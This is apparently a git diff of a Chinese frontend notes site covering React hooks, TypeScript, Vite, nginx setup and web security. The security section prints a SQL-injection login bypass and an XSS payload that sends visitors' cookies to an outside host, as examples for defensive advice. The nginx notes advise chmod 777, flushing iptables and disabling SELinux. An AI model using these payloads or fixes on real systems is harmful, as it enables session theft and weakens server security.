16以前的版本是将更新渲染直接入栈出栈队列执行,diff算法本质上是一种递归,递归无法中断,这种形式可能会由于IO堵塞从而导致页面卡顿丢帧。
|
||||
而fiber架构有效的改良了这一点,使用的是一种循环机制,将整个任务渲染切片成无数个小任务,发放到每个细分的时间节点中执行,优先处理最紧急的任务,有效降低了卡顿的情况发生。
|
||||
16 以前的版本是将更新渲染直接入栈出栈队列执行,diff 算法本质上是一种递归,递归无法中断,这种形式可能会由于 IO 堵塞从而导致页面卡顿丢帧。
|
||||
而 fiber 架构有效的改良了这一点,使用的是一种循环机制,将整个任务渲染切片成无数个小任务,发放到每个细分的时间节点中执行,优先处理最紧急的任务,有效降低了卡顿的情况发生。
|
||||
|
||||
另外我们需要了解人眼的
|
||||
另外我们需要了解人眼的视觉习惯,如下图所示
|
||||
|
||||

|
||||
|
||||
## hooks组件 相比较传统 class组件 的区别
|
||||
## hooks 组件 相比较传统 class 组件 的区别?
|
||||
|
||||
## 优点
|
||||
### 优点
|
||||
|
||||
1. 解决了 HOC 的嵌套问题,扁平式状态逻辑更加简洁
|
||||
2. 解决了类组件的 this 指向问题
|
||||
3. 分割在不同生命周期的代码使得代码难以维护
|
||||
4. 降低代码的复用成本,减少每个组件继承react.component,大大提升性能
|
||||
4. 降低代码的复用成本,减少每个组件继承 react.component,大大提升性能
|
||||
|
||||
## 缺点
|
||||
### 缺点
|
||||
|
||||
1. 额外的学习成本
|
||||
2. 没有类组件的生命周期,也就没办法和 ComponentUpdate 一样获取组件上的新旧数据做比较(性能优化上就少了一环)
|
||||
|
||||
## 为什么 hooks 要放在最外层
|
||||
|
||||
函数式组件他们由于新的 fiber 架构的关系,有自己的一套执行顺序,会形成一个自己的链表结构,也就是所谓的 mountWorkingProgress,stateHook -> memoHook -> refHook -> effectHook
|
||||
|
||||
如果将某个过程中的 hook 定义放在条件语句中,这个链表结构就会被破坏。
|
||||
|
||||

|
||||
|
||||
## memo 和 PureComponent
|
||||
|
||||
理论上父组件状态更新,但是传递给子组件的内容没更新,子组件不应该重新渲染,memo 和 PureComponent 都是为了减少父组件的刷新导致子组件的额外渲染,区别是 memo 针对的是函数组件,PureComponent 针对的则是类组件。
|
||||
@ -52,127 +60,262 @@ react 需要经历两个阶段:
|
||||
```js
|
||||
class Component extends React.PureComponent {
|
||||
render() {
|
||||
return (
|
||||
<div>类组件</div>
|
||||
)
|
||||
return <div>类组件</div>;
|
||||
}
|
||||
}
|
||||
|
||||
const Component = React.memo(() => {
|
||||
return (
|
||||
<div>函数组件</div>
|
||||
)
|
||||
})
|
||||
return <div>函数组件</div>;
|
||||
});
|
||||
```
|
||||
|
||||
## useMemo
|
||||
|
||||
将计算结果缓存下来,一般使用在比较复杂的计算函数中,降低大量计算的时候时间和性能上的消耗。
|
||||
|
||||
一般是如果一个引用数据,会在多个hook里被使用,或者是需要以 props 的形式传递给子组件,则需要包裹。
|
||||
一般是如果一个引用数据,会在多个 hook 里被使用,或者是需要以 props 的形式传递给子组件,则需要包裹。
|
||||
|
||||
```jsx
|
||||
import React, { useMemo, useEffect, useState } from 'react'
|
||||
import React, { useMemo, useEffect, useState } from 'react';
|
||||
|
||||
export default () => {
|
||||
const [data1, setData1] = useState(1)
|
||||
const [data2, setData2] = useState(1)
|
||||
const [data1, setData1] = useState(1);
|
||||
const [data2, setData2] = useState(1);
|
||||
|
||||
const memo1 = useMemo(() => {
|
||||
console.log('执行memo')
|
||||
return data1
|
||||
}, [data1])
|
||||
console.log('执行memo');
|
||||
return data1;
|
||||
}, [data1]);
|
||||
|
||||
const f2 = (() => {
|
||||
console.log('执行f2')
|
||||
return data2.toString()
|
||||
})()
|
||||
console.log('执行f2');
|
||||
return data2.toString();
|
||||
})();
|
||||
|
||||
return (
|
||||
<div className="demo1">
|
||||
{memo1}
|
||||
<br/>
|
||||
<br />
|
||||
{f2}
|
||||
<button onClick={() => setData1(data1 + 1)} >f1按钮</button>
|
||||
<button onClick={() => setData2(data2 + 1)} >F2按钮</button>
|
||||
<button onClick={() => setData1(data1 + 1)}>f1按钮</button>
|
||||
<button onClick={() => setData2(data2 + 1)}>F2按钮</button>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
## useEffect 和 useLayoutEffect 的区别
|
||||
|
||||
主要区别:
|
||||
|
||||
1. useEffect 是执行在编译和渲染之后,在第二个渲染周期才会执行,而且属于异步操作
|
||||
2. useLayoutEffect 则是执行在编译之后和渲染之前,可以在渲染之前就立刻进行样式的更改
|
||||
|
||||
实际使用场景有 tooltip 通过宽度,判断展示位置应该处于上方还是下方
|
||||
他们之间的差异如果用代码展示效果,可以从下面的代码来看出区别(建议使用差网络效果更明显):
|
||||
|
||||
```jsx
|
||||
import React, { useEffect, useLayoutEffect, useState, useRef } from 'react';
|
||||
|
||||
function BoxComparison() {
|
||||
const [heightEffect, setHeightEffect] = useState(0);
|
||||
const [heightLayoutEffect, setHeightLayoutEffect] = useState(0);
|
||||
const refEffect = useRef(null);
|
||||
const refLayoutEffect = useRef(null);
|
||||
|
||||
useEffect(() => {
|
||||
if (refEffect.current) {
|
||||
setHeightEffect(refEffect.current.offsetWidth);
|
||||
}
|
||||
}, []);
|
||||
|
||||
useLayoutEffect(() => {
|
||||
if (refLayoutEffect.current) {
|
||||
setHeightLayoutEffect(refLayoutEffect.current.offsetWidth);
|
||||
}
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div>
|
||||
<div
|
||||
ref={refEffect}
|
||||
style={{ width: '200px', height: '50px', background: 'lightgray' }}
|
||||
>
|
||||
使用 useEffect
|
||||
</div>
|
||||
<div
|
||||
style={{
|
||||
width: '100px',
|
||||
height: `${heightEffect}px`,
|
||||
background: 'red',
|
||||
marginTop: '10px',
|
||||
}}
|
||||
>
|
||||
红色方块
|
||||
</div>
|
||||
</div>
|
||||
<div style={{ marginTop: '30px' }}>
|
||||
<div
|
||||
ref={refLayoutEffect}
|
||||
style={{ width: '200px', height: '50px', background: 'lightgray' }}
|
||||
>
|
||||
使用 useLayoutEffect
|
||||
</div>
|
||||
<div
|
||||
style={{
|
||||
width: '100px',
|
||||
height: `${heightLayoutEffect}px`,
|
||||
background: 'blue',
|
||||
marginTop: '10px',
|
||||
}}
|
||||
>
|
||||
蓝色方块
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default BoxComparison;
|
||||
```
|
||||
|
||||
## useCallback
|
||||
|
||||
基本上和 useMemo 代码逻辑是一样的,只是useCallback 相比较 useMemo是将函数缓存下来,防止执行其他操作的时候多次渲染,消耗性能。需要搭配memo一起使用。
|
||||
基本上和 useMemo 代码逻辑是一样的,只是 useCallback 相比较 useMemo 是将函数缓存下来,防止执行其他操作的时候多次渲染,消耗性能。需要搭配 memo 一起使用。
|
||||
|
||||
使用原则也和 useMemo 保持一致
|
||||
|
||||
```jsx
|
||||
import React, { useEffect, useCallback, useState } from 'react'
|
||||
import React, { useEffect, useCallback, useState } from 'react';
|
||||
|
||||
const Btn = React.memo((props) => {
|
||||
const [txt1, setTxt1] = useState(0)
|
||||
const [txt2, setTxt2] = useState(0)
|
||||
const [txt1, setTxt1] = useState(0);
|
||||
const [txt2, setTxt2] = useState(0);
|
||||
|
||||
useEffect(() => {
|
||||
setTxt1(txt1 + 1)
|
||||
},[props.fn1])
|
||||
setTxt1(txt1 + 1);
|
||||
}, [props.fn1]);
|
||||
|
||||
useEffect(() => {
|
||||
setTxt2(txt2 + 1)
|
||||
}, [props.fn2])
|
||||
setTxt2(txt2 + 1);
|
||||
}, [props.fn2]);
|
||||
|
||||
return (
|
||||
<div>
|
||||
使用了cb方法{txt1}
|
||||
<br/>
|
||||
<br />
|
||||
没使用cb方法{txt2}
|
||||
<button onClick={() => props.fn1()} >按钮1</button>
|
||||
<button onClick={() => props.fn2()} >按钮2</button>
|
||||
<button onClick={() => props.fn1()}>按钮1</button>
|
||||
<button onClick={() => props.fn2()}>按钮2</button>
|
||||
</div>
|
||||
)
|
||||
})
|
||||
);
|
||||
});
|
||||
|
||||
export default () => {
|
||||
const [data1, setData1] = useState(1)
|
||||
const [data1, setData1] = useState(1);
|
||||
|
||||
const fn1 = useCallback(() => {
|
||||
console.log('使用了回调缓存')
|
||||
setData1(data1 + 1)
|
||||
}, [])
|
||||
console.log('使用了回调缓存');
|
||||
setData1(data1 + 1);
|
||||
}, []);
|
||||
|
||||
const fn2 = () => {
|
||||
setData1(data1 + 1)
|
||||
}
|
||||
setData1(data1 + 1);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="demo1">
|
||||
数据变化:{data1}
|
||||
<br/>
|
||||
<button onClick={fn1} >父级按钮</button>
|
||||
<br />
|
||||
<button onClick={fn1}>父级按钮</button>
|
||||
<Btn fn1={fn1} fn2={fn2} />
|
||||
</div>
|
||||
)
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
## useContext 和 Provider
|
||||
|
||||
让开发者从多层嵌套中解脱出来,能实现跨层级数据共享
|
||||
|
||||
```jsx
|
||||
import { createContext, useContext, useState } from 'react';
|
||||
|
||||
const ThemeContext = createContext(null);
|
||||
const CurrentUserContext = createContext(null);
|
||||
|
||||
function Toolbar() {
|
||||
return (
|
||||
<div>
|
||||
<LoginButton />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function LoginButton() {
|
||||
const { currentUser, setCurrentUser } = useContext(CurrentUserContext);
|
||||
|
||||
if (currentUser !== null) {
|
||||
return <p>You logged in as {currentUser.name}.</p>;
|
||||
}
|
||||
|
||||
return (
|
||||
<Button
|
||||
onClick={() => {
|
||||
setCurrentUser({ name: 'Advika' });
|
||||
}}
|
||||
>
|
||||
Log in
|
||||
</Button>
|
||||
);
|
||||
}
|
||||
|
||||
export default function MyApp() {
|
||||
const [theme, setTheme] = useState('light');
|
||||
const [currentUser, setCurrentUser] = useState(null);
|
||||
return (
|
||||
<ThemeContext.Provider value={theme}>
|
||||
<CurrentUserContext.Provider
|
||||
value={{
|
||||
currentUser,
|
||||
setCurrentUser,
|
||||
}}
|
||||
>
|
||||
<Toolbar />
|
||||
<button onClick={() => setTheme(theme === 'light' ? 'dark' : 'light')}>
|
||||
Toggle Theme
|
||||
</button>
|
||||
</CurrentUserContext.Provider>
|
||||
</ThemeContext.Provider>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
## useRef 和 forwardRef 的使用
|
||||
|
||||
useRef 的几个应用场景:
|
||||
|
||||
1. 可以用来获取 dom
|
||||
2. 保存状态值,在不触发组件渲染的数据计算中使用
|
||||
forwardRef 是用来自己封装组件时,将组件的 ref 暴露出来
|
||||
|
||||
## lazy
|
||||
|
||||
懒加载组件,实现效果类似webpack 的 code spliting。
|
||||
懒加载组件,实现效果类似 webpack 的 code spliting。
|
||||
|
||||
```js
|
||||
import React, { lazy, Suspense } from 'react'
|
||||
import React, { lazy, Suspense } from 'react';
|
||||
|
||||
const Comp = lazy(() => {
|
||||
return new Promise((resolve, reject) => {
|
||||
setTimeout(() => {
|
||||
resolve(import(/*webpackChunkName:"OtherComponent"*/'./OtherComponent'))
|
||||
}, 2000)
|
||||
})
|
||||
resolve(import(/*webpackChunkName:"OtherComponent"*/ './OtherComponent'));
|
||||
}, 2000);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
export default () => {
|
||||
export default () => {
|
||||
return (
|
||||
<div>
|
||||
<p>下面是一个动态加载的组件</p>
|
||||
@ -181,14 +324,14 @@ export default () => {
|
||||
</Suspense>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
> 拓展:懒渲染可以参考 **react-visibility-observer** ,在页面滚动到可视范围时才加载相应的内容
|
||||
|
||||
## 列表使用key属性
|
||||
## 列表使用 key 属性
|
||||
|
||||
首先我们需要知道react的virtualDom的原理,如果没有id作为标识的情况时,渲染引擎会直接将它视为新的标签,从而造成渲染的消耗,以下例子中,相比较添加了key属性来说,多了两次更新和一次新增的额外渲染。
|
||||
首先我们需要知道 react 的 virtualDom 的原理,如果没有 id 作为标识的情况时,渲染引擎会直接将它视为新的标签,从而造成渲染的消耗,以下例子中,相比较添加了 key 属性来说,多了两次更新和一次新增的额外渲染。
|
||||
|
||||
```js
|
||||
<ul>
|
||||
@ -213,35 +356,32 @@ export default () => {
|
||||
|
||||
## componentDidMount 和 ComponentWillMount 区别
|
||||
|
||||
### componentWillMount
|
||||
### componentWillMount
|
||||
|
||||
1. 将要装载,在render之前调用;
|
||||
1. 将要装载,在 render 之前调用;
|
||||
2. 可以在服务端被调用,也可以在浏览器端被调用;
|
||||
3. componentWillMount 每一个组件render之前立即调用;
|
||||
4. 目前在17中已经遗弃了这个接口,前缀为 UNSAFE_
|
||||
3. componentWillMount 每一个组件 render 之前立即调用;
|
||||
4. 目前在 17 中已经遗弃了这个接口,前缀为 UNSAFE\_
|
||||
|
||||
### componentDidMount
|
||||
### componentDidMount
|
||||
|
||||
1. render之后并不会立即调用,而是所有的子组件都render完之后才可以调用
|
||||
2. 装载完成,在render之后调用
|
||||
3. 只能在浏览器端被调用,在服务器端使用react的时候不会被调用
|
||||
1. render 之后并不会立即调用,而是所有的子组件都 render 完之后才可以调用
|
||||
2. 装载完成,在 render 之后调用
|
||||
3. 只能在浏览器端被调用,在服务器端使用 react 的时候不会被调用
|
||||
|
||||
## 手写一个简单的 useState
|
||||
|
||||
```js
|
||||
const [type, setType] = useState(1)
|
||||
const [type, setType] = useState(1);
|
||||
|
||||
function useState(initData) {
|
||||
let type = initData
|
||||
let type = initData;
|
||||
|
||||
let setType = (val) => {
|
||||
type = val
|
||||
}
|
||||
type = val;
|
||||
};
|
||||
|
||||
return [
|
||||
type,
|
||||
setType
|
||||
]
|
||||
return [type, setType];
|
||||
}
|
||||
```
|
||||
|
||||
@ -254,3 +394,4 @@ redux 分为几个重要的概念:1. store(容器)、2. state(数据)
|
||||
## 参考文档
|
||||
|
||||
> https://juejin.cn/post/6844903922453200904
|
||||
> <https://react.iamkasong.com/process/doubleBuffer.html#%E5%8F%8C%E7%BC%93%E5%AD%98fiber%E6%A0%91>
|
||||
|
@ -10,9 +10,7 @@ group:
|
||||
# 安全
|
||||
|
||||
1. 引用 js 包(内容很少,也可以将内容拷贝出来,直接引用方法)
|
||||
1. 将需要提交的数据经过 filter 即可,如下:
|
||||
|
||||
|
||||
2. 将需要提交的数据经过 filter 即可,如下:
|
||||
|
||||
```javascript
|
||||
浏览器自带转换为字符串
|
||||
@ -25,178 +23,124 @@ var newValue = safetools.reEncode(value)
|
||||
var newValue = safetools.reDecode(value)
|
||||
```
|
||||
|
||||
|
||||
> tag: 前端交互,涉及到数据流动并需要在返回在页面上显示的,一定要经过后端!
|
||||
|
||||
## 在项目里关于前端安全,可以采取以下措施
|
||||
|
||||
使用 HTTPS 确保数据在传输过程中的安全性。
|
||||
验证用户输入,防范 XSS 攻击,使用 CORS 控制跨域资源访问。
|
||||
更新依赖库和框架,以修补已知的安全漏洞。
|
||||
避免在前端存储敏感信息,如密码,而依赖后端处理。
|
||||
定期审查和更新安全策略,以适应新的威胁和最佳实践。
|
||||
|
||||
## 常见的攻击手段
|
||||
|
||||
|
||||
### 1. SQL 脚本注入攻击于与防御
|
||||
|
||||
|
||||
#### 概念
|
||||
|
||||
|
||||
> 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入.
|
||||
|
||||
|
||||
> 用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的 SQL Injection,即 SQL 注入.
|
||||
|
||||
#### 场景
|
||||
|
||||
|
||||
语句
|
||||
|
||||
|
||||
```sql
|
||||
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
|
||||
```
|
||||
|
||||
|
||||
如果恶意填入:
|
||||
|
||||
|
||||
> userName = "1' OR '1'='1"; passWord = "1' OR '1'='1";
|
||||
|
||||
|
||||
|
||||
既可实现无密码登录,美滋滋吧...
|
||||
|
||||
|
||||
#### 处理方式
|
||||
|
||||
|
||||
前端和 XSS 处理类似,对传递的数据进行筛选,重点是后端对数据的处理!
|
||||
|
||||
|
||||
### 2. XSS 攻击与防御
|
||||
|
||||
|
||||
#### 概念
|
||||
|
||||
|
||||
> 跨站脚本(Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
|
||||
> XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
|
||||
|
||||
|
||||
> 跨站脚本(Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。
|
||||
> XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java,VBScript,ActiveX,Flash 或者甚至是普通的 HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。
|
||||
|
||||
#### 类型
|
||||
|
||||
|
||||
##### 简单分类
|
||||
|
||||
|
||||
1. 反射型xss
|
||||
|
||||
|
||||
1. 反射型 xss
|
||||
|
||||
通过一次 xss 请求,将数据渲染到页面,请求 -> 返回数据,例子:搜索
|
||||
2. 储存型xss
|
||||
|
||||
2. 储存型 xss
|
||||
|
||||
通过一次 xss 请求,直接将数据储存在数据库,下次调用无需继续请求,例如:评论
|
||||
|
||||
|
||||
##### 复杂分类
|
||||
|
||||
|
||||
1. client 型
|
||||
1. server 型
|
||||
|
||||
|
||||
2. server 型
|
||||
|
||||
#### 处理方式
|
||||
|
||||
|
||||
- 编码
|
||||
|
||||
|
||||
|
||||
> 将 > ( 标签转换为字符串,可以处理大多数 xss 攻击
|
||||
|
||||
|
||||
|
||||
- 过滤
|
||||
|
||||
|
||||
|
||||
> 有的语句并不完全依赖<>标签,例如src="javascript:alert(1);"
|
||||
|
||||
|
||||
> 有的语句并不完全依赖<>标签,例如 src="javascript:alert(1);"
|
||||
|
||||
- 校正
|
||||
|
||||
|
||||
|
||||
> 这个照理来说应该后端处理,目前没碰到这种场景
|
||||
|
||||
|
||||
|
||||
```javascript
|
||||
> 一个直播平台,用户可以进入观看,主播可以设置自己的昵称:
|
||||
var starNickName = '${starNickname}'
|
||||
```
|
||||
|
||||
|
||||
这怕是要翻水水了...假设是我是主播,我把昵称设置为:
|
||||
|
||||
|
||||
```javascript
|
||||
';window.location.href="http//:blog.jzxer.cn/?cook=" + document.cookie + '&url=' window.location.href;''
|
||||
```
|
||||
|
||||
|
||||
这一串如果传到后端,而后端又没有校正的话的话,这怕是傻眼了...观众进来一个死一个,我应该也会进去蹲几天吧,吧。。。
|
||||
|
||||
|
||||
- CSP
|
||||
|
||||
|
||||
|
||||
```html
|
||||
在头部加入:
|
||||
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:"
|
||||
/>
|
||||
```
|
||||
|
||||
|
||||
meta:不信任任何URL,即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用HTTPS协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
|
||||
|
||||
meta:不信任任何 URL,即不加载任何资源样式表只信任 cdn.example.org 和 third-party.org 框架 (frame) 必须使用 HTTPS 协议加载 其他资源:没有限制 启用后,不符合 CSP 的外部资源就会被阻止加载。
|
||||
|
||||
> 注意:该属性目前比较新,hotfix 和 chorme 支持较好,并不适用于所有的浏览器。
|
||||
|
||||
|
||||
|
||||
### 3. CSRF
|
||||
|
||||
|
||||
> 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
|
||||
|
||||
|
||||
> 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
|
||||
|
||||
#### 处理方式
|
||||
|
||||
|
||||
- 验证码
|
||||
|
||||
|
||||
|
||||
在请求的同时,带个token,或者验证码
|
||||
|
||||
在请求的同时,带个 token,或者验证码
|
||||
|
||||
- Referer Check
|
||||
|
||||
|
||||
|
||||
这个可以伪造...但加入更保险
|
||||
|
||||
|
||||
> 注意:如果网站有XSS漏洞或者一些跨域漏洞,可能导致Token泄露。 在XSS攻击下,读取Token值,然后再构造出一个合法的请求,可以称为:XSRF。
|
||||
|
||||
|
||||
> 注意:如果网站有 XSS 漏洞或者一些跨域漏洞,可能导致 Token 泄露。 在 XSS 攻击下,读取 Token 值,然后再构造出一个合法的请求,可以称为:XSRF。
|
||||
|
||||
### 小结
|
||||
|
||||
|
||||
web 安全是个需要长期坚持的事情,没有绝对安全的产品,我们需要做到的就是能够提前预防和及时修复。
|
||||
|
@ -9,36 +9,34 @@ group:
|
||||
|
||||
# Typescript
|
||||
|
||||
目前市面上比较流行的js的超集,目的是为了让js更加的严格,向强类型的语言看齐,同时为了后期维护上的便利。
|
||||
目前市面上比较流行的 js 的超集,目的是为了让 js 更加的严格,向强类型的语言看齐,同时为了后期维护上的便利。
|
||||
|
||||
## interface 和 type 的区别
|
||||
|
||||
interface 更偏向结构定义,type更偏向数据之间的关系
|
||||
interface 更偏向结构定义,type 更偏向数据之间的关系
|
||||
|
||||
1. 两者继承的方式不同
|
||||
|
||||
```js
|
||||
interface App extends Module {
|
||||
interface App extends Module {}
|
||||
|
||||
}
|
||||
|
||||
type App = Module & { name: string }
|
||||
type App = Module & { name: string };
|
||||
```
|
||||
|
||||
2. type 可以神秘基本数据类型、联合类型、元祖类型,interface不能
|
||||
2. type 可以声明基本数据类型、联合类型、元祖类型,interface 不能
|
||||
|
||||
```js
|
||||
type Name = string
|
||||
type Name = string;
|
||||
|
||||
type Pet = Dog | Cat
|
||||
type Pet = Dog | Cat;
|
||||
|
||||
type PetList = [Dog, Cat]
|
||||
type PetList = [Dog, Cat];
|
||||
```
|
||||
|
||||
3. type 可以使用 typeof 获取类型,interface不行
|
||||
3. type 可以使用 typeof 获取类型,interface 不行
|
||||
|
||||
```js
|
||||
const Name = 'nicenote'
|
||||
const Name = 'nicenote';
|
||||
|
||||
type Iname = typeof Name
|
||||
type Iname = typeof Name;
|
||||
```
|
||||
|
21
docs/interview/vite.md
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
nav:
|
||||
title: 面试
|
||||
path: /interview
|
||||
group:
|
||||
title: 💊 面试题库
|
||||
order: 2
|
||||
---
|
||||
|
||||
# 打包工具
|
||||
|
||||
## vite 和 webpack 的区别
|
||||
|
||||
webpack: 把所有的依赖包都打包编译到一个文件夹中,它的特点有:
|
||||
|
||||
- bundler,all in one. 编译时间较长
|
||||
|
||||
vite:no bundler. 新一代打包工具,基于 esbuild(使用 go 编写),,所以速度上会有质的飞跃,它有以下特点:
|
||||
|
||||
编译速度快:直接引用 es 模块.
|
||||
按需加载:只编译开发中的模块
|
@ -17,11 +17,13 @@ group:
|
||||
#### 确认网络
|
||||
|
||||
- ping [j710328466.github.io](j710328466.github.io)
|
||||
|
||||
#### 关闭 iptables 规则
|
||||
|
||||
- iptables -L 查看
|
||||
- iptables -F 关闭
|
||||
- iptables -t nat -L
|
||||
|
||||
#### 关闭 getenforce
|
||||
|
||||
- setenforce 0
|
||||
@ -37,6 +39,9 @@ group:
|
||||
```
|
||||
|
||||
### 安装编译工具和库
|
||||
|
||||
如果没有再安装
|
||||
|
||||
```js
|
||||
// 1
|
||||
wget [http://downloads.sourceforge.net/project/pcre/pcre/8.35/pcre-8.35.tar.gz](http://downloads.sourceforge.net/project/pcre/pcre/8.35/pcre-8.35.tar.gz)
|
||||
@ -52,16 +57,30 @@ yum -y install make zlib zlib-devel gcc-c++ libtool openssl openssl-devel
|
||||
- yum -y update
|
||||
|
||||
### centos 快速安装
|
||||
|
||||
- yum install nginx -y
|
||||
|
||||
## 默认文件位置
|
||||
|
||||
```js
|
||||
/etc/nginx/nginx.conf //yum方式安装后默认配置文件的路径
|
||||
|
||||
/usr/share/nginx/html //nginx网站默认存放目录
|
||||
|
||||
/usr/share/nginx/html/index.html //网站默认主页路径
|
||||
```
|
||||
|
||||
## 常用命令
|
||||
|
||||
### 查看 nginx 配置文件路径和安装路径
|
||||
|
||||
> nginx -t
|
||||
|
||||
### 开始
|
||||
|
||||
systemctl start nginx
|
||||
方法 1. systemctl start nginx
|
||||
|
||||
方法 2. systemctl enable --now nginx
|
||||
|
||||
### 重启
|
||||
|
||||
@ -73,10 +92,9 @@ systemctl start nginx
|
||||
> killall -9 nginx
|
||||
|
||||
### 初始目录
|
||||
|
||||
> /usr/share/nginx/html
|
||||
|
||||
|
||||
|
||||
### 配置文件
|
||||
|
||||
```
|
||||
@ -185,6 +203,7 @@ http {
|
||||
## Q&A
|
||||
|
||||
### 1. forbedden 403
|
||||
|
||||
> chmod -R 777 /data
|
||||
> chmod -R 777 /data/www
|
||||
|
||||
@ -195,5 +214,3 @@ vi /etc/selinux/config
|
||||
#SELINUX=enforcing
|
||||
SELINUX=disabled
|
||||
```
|
||||
|
||||
|
||||
|
20773
package-lock.json
generated
Normal file
85
package.json
@ -1,67 +1,38 @@
|
||||
{
|
||||
"private": true,
|
||||
"name": "learn-note",
|
||||
"version": "1.0.0",
|
||||
"name": "nicenote",
|
||||
"version": "0.0.1",
|
||||
"description": "nicenote,nicecode,学习,总结",
|
||||
"license": "MIT",
|
||||
"scripts": {
|
||||
"start": "dumi dev",
|
||||
"docs:build": "dumi build",
|
||||
"docs:deploy": "gh-pages -d docs-dist",
|
||||
"build": "father-build",
|
||||
"deploy": "npm run docs:build && npm run docs:deploy",
|
||||
"release": "npm run build && npm publish",
|
||||
"prettier": "prettier --write \"**/*.{js,jsx,tsx,ts,less,md,json}\"",
|
||||
"test": "umi-test",
|
||||
"test:coverage": "umi-test --coverage",
|
||||
"cz": "git add . && git cz",
|
||||
"log": "conventional-changelog -n node_modules/@nicecode/changelog -i CHANGELOG.md -s -r 0"
|
||||
"build": "dumi build",
|
||||
"deploy": "gh-pages -d docs-dist",
|
||||
"dev": "dumi dev",
|
||||
"prepare": "husky install && dumi setup",
|
||||
"start": "npm run dev"
|
||||
},
|
||||
"main": "dist/index.js",
|
||||
"module": "dist/index.esm.js",
|
||||
"typings": "dist/index.d.ts",
|
||||
"husky": {
|
||||
"hooks": {
|
||||
"pre-commit": "lint-staged",
|
||||
"commit-msg": "commitlint -E HUSKY_GIT_PARAMS"
|
||||
}
|
||||
},
|
||||
"config": {
|
||||
"commitizen": {
|
||||
"path": "@nicecode/commit"
|
||||
}
|
||||
},
|
||||
"lint-staged": {
|
||||
"*.{js,jsx,less,md,json}": [
|
||||
"prettier --write"
|
||||
],
|
||||
"*.ts?(x)": [
|
||||
"prettier --parser=typescript --write"
|
||||
"commitlint": {
|
||||
"extends": [
|
||||
"@commitlint/config-conventional"
|
||||
]
|
||||
},
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/j710328466/j710328466.github.io",
|
||||
"branch": "master",
|
||||
"platform": "github"
|
||||
"lint-staged": {
|
||||
"*.{md,json}": [
|
||||
"prettier --write --no-error-on-unmatched-pattern"
|
||||
]
|
||||
},
|
||||
"dependencies": {
|
||||
"@nicecode/css": "^0.0.8",
|
||||
"n": "^9.0.1",
|
||||
"react": "^16.12.0"
|
||||
"three": "^0.158.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@nicecode/changelog": "^0.2.0",
|
||||
"@nicecode/commit": "^0.0.12",
|
||||
"@nicecode/commit-lint": "^0.1.2",
|
||||
"@umijs/test": "^3.0.5",
|
||||
"commitizen": "^4.2.4",
|
||||
"commitlint": "^13.1.0",
|
||||
"conventional-changelog-cli": "^2.1.1",
|
||||
"dumi": "^1.0.16",
|
||||
"father-build": "^1.17.2",
|
||||
"gh-pages": "^3.0.0",
|
||||
